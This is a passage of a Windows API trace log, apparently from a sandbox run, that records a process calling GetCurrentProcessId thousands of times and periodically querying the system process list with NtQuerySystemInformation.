0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.155] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.156] GetCurrentProcessId () returned 0x10c0 [0238.756] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0238.759] GetCurrentProcessId () returned 0x10c0 [0238.759] GetCurrentProcessId () returned 0x10c0 [0238.759] GetCurrentProcessId () returned 0x10c0 [0238.759] GetCurrentProcessId () returned 0x10c0 [0238.759] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.760] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.761] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.762] GetCurrentProcessId () returned 0x10c0 [0238.763] GetCurrentProcessId () returned 0x10c0 [0238.763] GetCurrentProcessId () returned 0x10c0 [0238.763] GetCurrentProcessId () returned 0x10c0 [0238.763] GetCurrentProcessId () returned 0x10c0 [0238.763] GetCurrentProcessId () returned 0x10c0 [0238.763] GetCurrentProcessId () returned 0x10c0 [0238.763] GetCurrentProcessId () returned 0x10c0 [0238.763] GetCurrentProcessId () returned 0x10c0 [0238.763] GetCurrentProcessId () returned 0x10c0 [0238.763] GetCurrentProcessId () returned 0x10c0 [0238.763] GetCurrentProcessId () returned 0x10c0 [0238.763] GetCurrentProcessId () returned 0x10c0 [0238.763] GetCurrentProcessId () returned 0x10c0 [0238.763] GetCurrentProcessId () returned 0x10c0 [0238.763] GetCurrentProcessId () returned 0x10c0 [0238.763] GetCurrentProcessId () returned 0x10c0 [0238.763] GetCurrentProcessId () returned 0x10c0 [0238.763] GetCurrentProcessId () returned 0x10c0 [0239.398] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.404] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.405] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.406] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.407] GetCurrentProcessId () returned 0x10c0 [0239.911] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0239.913] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.914] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.915] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.916] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.917] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.918] GetCurrentProcessId () returned 0x10c0 [0239.919] GetCurrentProcessId () returned 0x10c0 [0239.919] GetCurrentProcessId () returned 0x10c0 [0240.491] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.493] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.494] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.495] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.496] GetCurrentProcessId () returned 0x10c0 [0240.497] GetCurrentProcessId () returned 0x10c0 [0240.497] GetCurrentProcessId () returned 0x10c0 [0240.497] GetCurrentProcessId () returned 0x10c0 [0240.497] GetCurrentProcessId () returned 0x10c0 [0240.497] GetCurrentProcessId () returned 0x10c0 [0240.497] GetCurrentProcessId () returned 0x10c0 [0240.497] GetCurrentProcessId () returned 0x10c0 [0241.037] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] 